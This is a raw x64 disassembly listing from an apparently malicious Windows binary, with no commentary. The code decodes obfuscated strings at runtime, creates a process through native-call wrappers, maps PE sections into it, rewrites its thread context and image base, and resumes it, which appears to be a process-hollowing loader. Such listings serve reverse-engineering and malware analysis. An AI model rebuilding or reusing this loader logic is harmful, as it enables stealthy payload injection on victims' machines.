mov rcx, qword [rbp + 0x1570]
call fcn.140001680
test byte [rbp + 0x1660], 1
je 0x140033c76
mov rcx, qword [rbp + 0x1670]
call fcn.140001680
test byte [rbp + 0x400], 1
je 0x1400346c4
mov rcx, qword [rbp + 0x410]
call fcn.140001680
jmp 0x1400346c4
mov rdx, rdi
and rdx, 0xfffffffffffffff0
lea rcx, [rax + rdx*2]
xor r8d, r8d
nop dword [rax + rax]
movq xmm0, qword [r13 + r8]
punpcklbw xmm0, xmm0
movq xmm1, qword [r13 + r8 + 8]
punpcklbw xmm1, xmm1
psraw xmm0, 8
psraw xmm1, 8
movdqu xmmword [rax + r8*2], xmm0
movdqu xmmword [rax + r8*2 + 0x10], xmm1
add r8, 0x10
cmp rdx, r8
jne 0x140033da0
cmp rdi, rdx
je 0x1400339d4
add r13, rdx
jmp 0x140033943
xor ecx, ecx
movdqa xmm0, xmmword [0x14003d9d0]
nop word cs:[rax + rax]
movdqa xmm1, xmmword [rcx + rax]
paddb xmm1, xmm0
movdqa xmm2, xmmword [rcx + rax + 0x10]
paddb xmm2, xmm0
movdqu xmmword [rdi + rcx], xmm1
movdqu xmmword [rdi + rcx + 0x10], xmm2
add rcx, 0x20
cmp r14, rcx
jne 0x140033e00
mov qword [rbp + 0x1678], 0
mov qword [rbp + 0x1658], 0
mov qword [rbp + 0x1610], 0
mov qword [rbp + 0x1618], 0
lea r9, [rbp + 0x1618]
mov ecx, 5
xor edx, edx
xor r8d, r8d
call fcn.14000155d
test eax, eax
js 0x140033f5c
mov rsi, qword [0x40]
cmp byte [0x1402443b6], 0
je 0x140034c47
lea rbx, [rbp + 0x828]
cmp byte [0x140244a6a], 0
je 0x140033ef0
movdqa xmm0, xmmword [0x140244a50]
paddw xmm0, xmmword [0x14003d9f0]
pand xmm0, xmmword [0x14003d800]
movdqa xmmword [0x140244a50], xmm0
movq xmm0, qword [0x140244a60]
paddw xmm0, xmmword [0x14003da00]
pand xmm0, xmmword [0x14003d840]
movq qword [0x140244a60], xmm0
mov eax, dword [0x140244a68]
add eax, 0x21
movzx eax, al
mov word [0x140244a68], ax
mov byte [0x140244a6a], 0
lea rdx, [0x140244a50]
mov r8d, 0xc
mov rcx, rsi
call sub.msvcrt.dll_wcsncmp
mov dword [rbp + 0x820], 0x30
pxor xmm0, xmm0
movdqu xmmword [rbx], xmm0
mov dword [rbx + 0x10], 0
movdqu xmmword [rbx + 0x18], xmm0
mov rax, qword [0x50]
mov qword [rbp + 0x15b0], rax
mov qword [rbp + 0x15b8], 0
lea rcx, [rbp + 0x1678]
lea r8, [rbp + 0x820]
lea r9, [rbp + 0x15b0]
mov edx, 0x80
call fcn.1400014e5
lea rdx, [rbp + 0x1610]
lea r8, [rbp + 0x1618]
mov rcx, 0xffffffffffffffff
mov r9d, 0x8000
call fcn.1400014c7
cmp qword [rbp + 0x1678], 0
jne 0x140033f91
mov qword [rbp + 0x1678], 0xffffffffffffffff
lea r8, [rbp + 0x1658]
mov rcx, 0xffffffffffffffff
mov edx, 3
call fcn.140001503
mov rax, qword gs:[r12]
mov qword [rbp + 0x1688], rax
lea rsi, [rbp + 0x820]
mov r8d, 0x210
mov rcx, rsi
xor edx, edx
call sub.msvcrt.dll_memset
cmp byte [0x1402443b7], 0
je 0x140034c0e
mov qword [rbp + 0x1638], r14
cmp byte [0x140244a7a], 0
je 0x140034023
movq xmm0, qword [0x140244a70]
paddw xmm0, xmmword [0x14003da10]
pand xmm0, xmmword [0x14003d840]
movq qword [0x140244a70], xmm0
mov eax, dword [0x140244a78]
add eax, 0x5f
movzx eax, al
mov word [0x140244a78], ax
mov byte [0x140244a7a], 0
lea rdx, [0x140244a70]
mov rcx, rsi
call sub.msvcrt.dll_wcscpy
lea rdx, [rbp + 0x1f0]
mov rcx, rsi
call sub.msvcrt.dll_wcscat
mov rcx, rsi
call sub.msvcrt.dll_wcslen
mov rsi, rax
mov qword [rbp + 0x1538], rax
mov rcx, r15
call sub.msvcrt.dll_wcslen
mov r13, rax
lea r12d, [rax + rax]
lea rcx, [0x140244820]
call sub.msvcrt.dll_wcslen
mov rbx, rax
add eax, eax
lea r15d, [rsi + rsi]
movzx r14d, ax
mov qword [rbp + 0x1540], r14
lea rcx, [0x140244840]
call sub.msvcrt.dll_wcslen
mov rsi, rax
add eax, eax
movzx ecx, r12w
mov qword [rbp + 0x1550], rcx
add rcx, r14
movzx r8d, r15w
mov qword [rbp + 0x1558], r8
mov r14, qword [rbp + 0x1688]
mov rdx, qword [r14 + 0x20]
movzx edx, word [rdx + 0x50]
movzx eax, ax
mov qword [rbp + 0x1548], rax
add rcx, r8
add rdx, rax
lea r12, [rcx + rdx]
add r12, 0x416
mov qword [rbp + 0x1630], 0
mov qword [rbp + 0x1620], r12
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
lea rdx, [rbp + 0x1630]
lea r9, [rbp + 0x1620]
mov rcx, 0xffffffffffffffff
xor r8d, r8d
call fcn.1400014a9
mov r15, qword [rbp + 0x1630]
mov dword [r15], r12d
mov dword [r15 + 4], r12d
shl r13d, 0x11
mov rax, qword [rbp + 0x1550]
add eax, r13d
add eax, 0x20000
mov dword [r15 + 8], 1
mov qword [r15 + 0x10], 0xfffffffffffffffd
mov qword [r15 + 0x38], rax
lea rax, [rbp + 0x1110]
mov qword [r15 + 0x40], rax
mov rax, qword [r14 + 0x20]
movdqu xmm0, xmmword [rax + 0x50]
movdqu xmmword [r15 + 0x50], xmm0
mov rax, qword [rbp + 0x1538]
shl eax, 0x11
mov r13, qword [rbp + 0x1558]
add eax, r13d
add eax, 0x20000
mov qword [r15 + 0x60], rax
shl ebx, 0x11
mov rax, qword [rbp + 0x1540]
add eax, ebx
add eax, 0x20000
lea r12, [rbp + 0x820]
mov qword [r15 + 0x68], r12
mov qword [r15 + 0x70], rax
lea rax, [0x140244820]
mov qword [r15 + 0x78], rax
mov rax, qword [r14 + 0x20]
mov rax, qword [rax + 0x80]
mov qword [r15 + 0x80], rax
shl esi, 0x11
mov rax, qword [rbp + 0x1548]
add eax, esi
add eax, 0x20000
mov qword [r15 + 0xd0], rax
lea rax, [0x140244840]
mov qword [r15 + 0xd8], rax
mov rax, qword [r14 + 0x20]
mov rax, qword [rax + 0x3f0]
mov qword [r15 + 0x3f0], rax
xorps xmm6, xmm6
movups xmmword [rbp + 0x15f8], xmm6
movups xmmword [rbp + 0x15e8], xmm6
movups xmmword [rbp + 0x15d8], xmm6
movups xmmword [rbp + 0x15c8], xmm6
movups xmmword [rbp + 0x15b8], xmm6
mov qword [rbp + 0x15b0], 0x58
mov qword [rbp + 0x1628], 0
mov qword [rbp + 0x1528], 0x60
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
lea rsi, [rbp + 0x1628]
lea rbx, [rbp + 0x1528]
mov rcx, 0xffffffffffffffff
mov rdx, rsi
xor r8d, r8d
mov r9, rbx
call fcn.1400014a9
mov rax, qword [rbp + 0x1628]
mov qword [rax], 0x68
mov qword [rax + 8], 0x20005
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], r12
mov qword [rax + 0x28], 0x60000
mov qword [rax + 0x30], 8
mov rcx, qword [rbp + 0x1678]
mov qword [rax + 0x38], rcx
mov qword [rax + 0x48], 0x60002
mov qword [rax + 0x50], 8
mov rcx, qword [rbp + 0x1658]
mov qword [rax + 0x58], rcx
movaps xmmword [rbp + 0x1690], xmm6
mov qword [rbp + 0x16a0], 0
lea rdx, [rbp + 0x1698]
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x15b0]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], r15
movups xmmword [rsp + 0x20], xmm6
mov dword [rsp + 0x38], 1
mov dword [rsp + 0x30], 0
lea rcx, [rbp + 0x1690]
mov r8d, 0x1fffff
mov r9d, 0x1fffff
call fcn.1400014f4
mov rcx, 0xffffffffffffffff
lea rdx, [rbp + 0x1630]
lea r8, [rbp + 0x1620]
mov r9d, 0x8000
call fcn.1400014c7
mov rcx, 0xffffffffffffffff
mov rdx, rsi
mov r8, rbx
mov rbx, 0xffffffffffffffff
mov r9d, 0x8000
call fcn.1400014c7
mov rcx, qword [rbp + 0x1658]
call fcn.14000145e
mov rcx, qword [rbp + 0x1678]
call fcn.14000145e
mov rcx, qword [rbp + 0x1690]
cmp rcx, 0xffffffffffffffff
mov rsi, qword [rbp + 0x1638]
je 0x14003467c
movsxd r15, dword [rdi + 0x3c]
mov rax, qword [rdi + r15 + 0x30]
mov qword [rbp + 0x15b0], rax
mov eax, dword [rdi + r15 + 0x50]
mov qword [rbp + 0x1678], rax
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
lea rdx, [rbp + 0x15b0]
lea r9, [rbp + 0x1678]
xor r8d, r8d
call fcn.1400014a9
mov rcx, qword [rbp + 0x1690]
test eax, eax
js 0x1400345d9
mov rdx, qword [rbp + 0x15b0]
mov r9d, dword [rdi + r15 + 0x54]
mov qword [rsp + 0x20], 0
mov r8, rdi
call fcn.1400014b8
cmp word [rdi + r15 + 6], 0
je 0x140034511
movabs rax, 0x7d0149afab056bdf
lea r13, [r15 + rdi]
add r13, 0x110
xor esi, esi
lea rbx, [rax + 2]
lea rcx, [rax + 0x1e]
mov qword [rbp + 0x1688], rcx
lea r12, [rax + 0x3e]
jmp 0x140034454
inc esi
movzx eax, word [rdi + r15 + 6]
add r13, 0x28
cmp esi, eax
jae 0x140034511
mov eax, dword [r13 + 0x1c]
test eax, eax
mov rcx, rbx
movabs rdx, 0x7d0149afab056bdf
cmovns rcx, rdx
mov r14, r12
cmovns r14, qword [rbp + 0x1688]
test eax, 0x20000000
cmove r14, rcx
movabs rax, 0x82feb65054fa9423
add r14, rax
mov rcx, qword [rbp + 0x1690]
mov edx, dword [r13 + 4]
mov r9d, dword [r13 + 8]
add rdx, qword [rbp + 0x15b0]
mov r8d, dword [r13 + 0xc]
add r8, rdi
mov qword [rsp + 0x20], 0
call fcn.1400014b8
mov eax, r14d
and eax, 0xfffffffe
cmp eax, 4
je 0x140034440
mov eax, dword [r13 + 4]
add rax, qword [rbp + 0x15b0]
mov qword [rbp + 0x820], rax
mov eax, dword [r13]
mov qword [rbp + 0x1658], rax
mov rcx, qword [rbp + 0x1690]
lea rax, [rbp + 0x1610]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x820]
lea r8, [rbp + 0x1658]
mov r9d, r14d
call fcn.1400015d5
jmp 0x140034440
lea rsi, [rbp + 0x820]
mov r8d, 0x4d0
mov rcx, rsi
xor edx, edx
call sub.msvcrt.dll_memset
mov dword [rbp + 0x850], 0x100002
mov rcx, qword [rbp + 0x1698]
mov rdx, rsi
call fcn.14000148b
test eax, eax
js 0x1400345e5
mov eax, dword [rdi + r15 + 0x28]
add rax, qword [rbp + 0x15b0]
mov qword [rbp + 0x8a0], rax
mov rcx, qword [rbp + 0x1698]
lea rdx, [rbp + 0x820]
call fcn.14000149a
mov rcx, qword [rbp + 0x1690]
test eax, eax
mov rsi, qword [rbp + 0x1638]
js 0x14003466e
mov rdx, qword [rbp + 0x8a8]
add rdx, 0x10
mov qword [rsp + 0x20], 0
lea r8, [rbp + 0x15b0]
mov r9d, 8
call fcn.1400014b8
test eax, eax
js 0x140034667
mov rcx, qword [rbp + 0x1698]
xor edx, edx
call fcn.14000147c
mov rcx, qword [rbp + 0x1698]
call fcn.14000145e
mov rbx, qword [rbp + 0x1690]
jmp 0x14003467c
xor edx, edx
call fcn.1400015c6
jmp 0x14003467c
mov rcx, qword [rbp + 0x1690]
xor edx, edx
call fcn.1400015c6
mov rbx, 0xffffffffffffffff
mov rsi, qword [rbp + 0x1638]
jmp 0x14003467c
lea rcx, [rbp + 0x820]
lea rsi, [rbp + 0x1110]
mov rdx, rsi
call fcn.140001690
lea rcx, [rbp + 0x1320]
mov rdx, rsi
call fcn.140001700
mov rax, qword [rbp + 0x828]
test rax, rax
je 0x1400331c7
cmp rax, 2
jne 0x1400346e1
mov rax, qword [rbp + 0x820]
cmp word [rax + 2], 0x3a
jne 0x1400331c7
cmp qword [rbp + 0x1328], 0
jne 0x140033086
jmp 0x1400331c7
mov rcx, qword [rbp + 0x1690]
xor edx, edx
call fcn.1400015c6
mov rbx, 0xffffffffffffffff
mov qword [rbp + 0x820], rsi
mov qword [rbp + 0x15b0], rdi
lea rdx, [rbp + 0x15b0]
lea r8, [rbp + 0x820]
mov rcx, 0xffffffffffffffff
mov r9d, 0x8000
call fcn.1400014c7
cmp rbx, 0xffffffffffffffff
je 0x1400346b8
mov rcx, rbx
call fcn.14000145e
mov rcx, qword [rbp + 0x1530]
call fcn.14000145e
xor eax, eax
movaps xmm6, xmmword [rbp + 0x16b0]
add rsp, 0x1748
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
jbe 0x1400331c7
mov rax, qword [rbp + 0x820]
movzx ecx, word [rax]
cmp ecx, 0x2f
je 0x1400346ff
cmp ecx, 0x5c
jne 0x1400331c7
movzx eax, word [rax + 2]
cmp eax, 0x5c
je 0x140033086
cmp eax, 0x2f
je 0x140033086
jmp 0x1400331c7
call fcn.140030c20
call fcn.140030d90
call fcn.140030da0
mov byte [0x140244696], 1
movups xmm0, xmmword [0x14003db8e]
movaps xmmword [0x140244640], xmm0
movups xmm0, xmmword [0x14003db9e]
movaps xmmword [0x140244650], xmm0
movups xmm0, xmmword [0x14003dbae]
movaps xmmword [0x140244660], xmm0
movups xmm0, xmmword [0x14003dbbe]
movaps xmmword [0x140244670], xmm0
movdqu xmm0, xmmword [0x14003dbce]
movdqa xmmword [0x140244680], xmm0
movabs rax, 0xa9001100180022
mov qword [0x14024468e], rax
lea rcx, [0x140031000]
call fcn.140001370
mov byte [0x1402443a8], 1
cmp byte [0x140244696], 0
jne 0x1400314a0
jmp 0x140031565
mov byte [0x1402446b8], 1
movdqa xmm0, xmmword [0x14003d810]
movdqa xmmword [0x1402446a0], xmm0
movabs rax, 0x43008000970092
mov qword [0x1402446b0], rax
lea rcx, [0x140031040]
call fcn.140001370
mov byte [0x1402443a9], 1
cmp byte [0x1402446b8], 0
jne 0x1400316d3
jmp 0x14003171a
mov byte [0x14024472e], 1
movups xmm0, xmmword [str.1__C9DLH_DL:G_:AA1K]
movaps xmmword [0x1402446e0], xmm0
movups xmm0, xmmword [0x14003dbf4]
movaps xmmword [0x1402446f0], xmm0
movups xmm0, xmmword [0x14003dc04]
movaps xmmword [0x140244700], xmm0
movups xmm0, xmmword [0x14003dc14]
movaps xmmword [0x140244710], xmm0
movdqu xmm0, xmmword [0x14003dc22]
movdqu xmmword [0x14024471e], xmm0
lea rcx, [0x140031080]
call fcn.140001370
mov byte [0x1402443ab], 1
cmp byte [0x14024472e], 0
jne 0x140031e6d
jmp 0x140031f68
mov byte [0x140244742], 1
movdqa xmm0, xmmword [0x14003d890]
movdqa xmmword [0x140244730], xmm0
mov word [0x140244740], 0xa3
lea rcx, [0x1400310b0]
call fcn.140001370
mov byte [0x1402443ac], 1
cmp byte [0x140244742], 0
jne 0x140031fb7
jmp 0x140031ff1
mov byte [0x14024476a], 1
movdqa xmm0, xmmword [0x14003d8b0]
movdqa xmmword [0x140244750], xmm0
movabs rax, 0x5a006d005a0023
mov qword [0x140244760], rax
mov word [0x140244768], 0xf5
lea rcx, [0x1400310d0]
call fcn.140001370
mov byte [0x1402443ad], 1
cmp byte [0x14024476a], 0
jne 0x140032040
jmp 0x14003209a
mov byte [0x140244780], 1
movdqa xmm0, xmmword [0x14003d8e0]
movdqa xmmword [0x140244770], xmm0
lea rcx, [0x1400310f0]
call fcn.140001370
mov byte [0x1402443ae], 1
cmp byte [0x140244780], 0
jne 0x1400320e9
jmp 0x140032110
mov byte [0x1402447a8], 1
movdqa xmm0, xmmword [str.LRLM_FKH_a_a_a_a_a_a_a_a_a_a_a_a]
movdqa xmmword [0x140244790], xmm0
movabs rax, 0xf90036004d0048
mov qword [0x1402447a0], rax
lea rcx, [0x140031100]
call fcn.140001370
mov byte [0x1402443af], 1
cmp byte [0x1402447a8], 0
jne 0x14003215f
jmp 0x1400321a6
mov byte [0x1402447cc], 1
movdqa xmm0, xmmword [0x14003d930]
movdqa xmmword [0x1402447b0], xmm0
movabs rax, 0x1b000800d10015
mov qword [0x1402447c0], rax
mov dword [0x1402447c8], 0xa30008
lea rcx, [0x140031120]
call fcn.140001370
mov byte [0x1402443b0], 1
cmp byte [0x1402447cc], 0
jne 0x14003228e
jmp 0x1400322f5
mov byte [0x140244816], 1
movaps xmm0, xmmword [0x14003d960]
movaps xmmword [0x1402447d0], xmm0
movaps xmm0, xmmword [0x14003d970]
movaps xmmword [0x1402447e0], xmm0
movaps xmm0, xmmword [0x14003d980]
movaps xmmword [0x1402447f0], xmm0
movdqa xmm0, xmmword [0x14003d990]
movdqa xmmword [0x140244800], xmm0
mov dword [0x140244810], 0xcb00c9
mov word [0x140244814], 0x65
lea rcx, [0x140031140]
call fcn.140001370
mov byte [0x1402443b1], 1
cmp byte [0x140244816], 0
jne 0x140032331
jmp 0x1400323e2
mov byte [0x14024483a], 1
movdqa xmm0, xmmword [0x14003d9b0]
movdqa xmmword [0x140244820], xmm0
movabs rax, 0xca00dd00ca0093
mov qword [0x140244830], rax
mov word [0x140244838], 0x65
lea rcx, [0x140031170]
call fcn.140001370
mov byte [0x1402443b2], 1
cmp byte [0x14024483a], 0
jne 0x14003240d
jmp 0x140032469
mov byte [0x140244a3c], 1
lea rcx, [0x140244840]
lea rdx, [0x14003dc32]
mov r8d, 0x1fc
call sub.msvcrt.dll_memcpy
lea rcx, [0x140031190]
call fcn.140001370
mov byte [0x1402443b3], 1
cmp byte [0x140244a3c], 0
jne 0x140032483
jmp 0x140032887
mov byte [0x140244a7e], 1
mov word [0x140244a7c], 0x1b77
lea rcx, [0x140034c90]
call fcn.140001370
mov byte [0x1402443b8], 1
cmp byte [0x140244a7e], 0
jne 0x1400317cf
jmp 0x1400317e4
mov byte [0x140244aa8], 1
movabs rax, 0xc5e7e51719f4e5e7
mov qword [0x140244aa0], rax
lea rcx, [0x140034cc0]
call fcn.140001370
mov byte [0x1402443ba], 1
cmp byte [0x140244aa8], 0
jne 0x140031c02
jmp 0x140031c21
movabs rax, 0x2428fb1e2e0afbfd
mov qword [0x140244ab0], rax
mov dword [0x140244ab8], 0x202f3029
mov word [0x140244abc], 0x1db
lea rcx, [0x140034cd0]
call fcn.140001370
mov byte [0x1402443bb], 1
cmp byte [0x140244abd], 0
jne 0x140031c37
jmp 0x140031c75
mov byte [0x140244ace], 1
movabs rax, 0x3a2f717881838370
mov qword [0x140244ac0], rax
mov dword [0x140244ac8], 0x623a2f57
mov word [0x140244acc], 0xf2f
lea rcx, [0x140030c50]
call fcn.140001370
mov byte [0x1402443bc], 1
cmp byte [0x140244ace], 0
jne 0x140033558
jmp 0x14003359d
call fcn.140030e00
mov byte [0x140244a7a], 1
movabs rax, 0xfd00e000e000fd
mov qword [0x140244a70], rax
mov word [0x140244a78], 0xa1
lea rcx, [0x140030e40]
call fcn.140001370
mov byte [0x1402443b7], 1
jmp 0x140033fd9
mov byte [0x140244a6a], 1
movdqa xmm0, xmmword [str.DWOKNQDQ____________]
movdqa xmmword [0x140244a50], xmm0
movabs rax, 0x4400570044000d
mov qword [0x140244a60], rax
mov word [0x140244a68], 0xdf
lea rcx, [0x140030e20]
call fcn.140001370
mov byte [0x1402443b6], 1
jmp 0x140033e86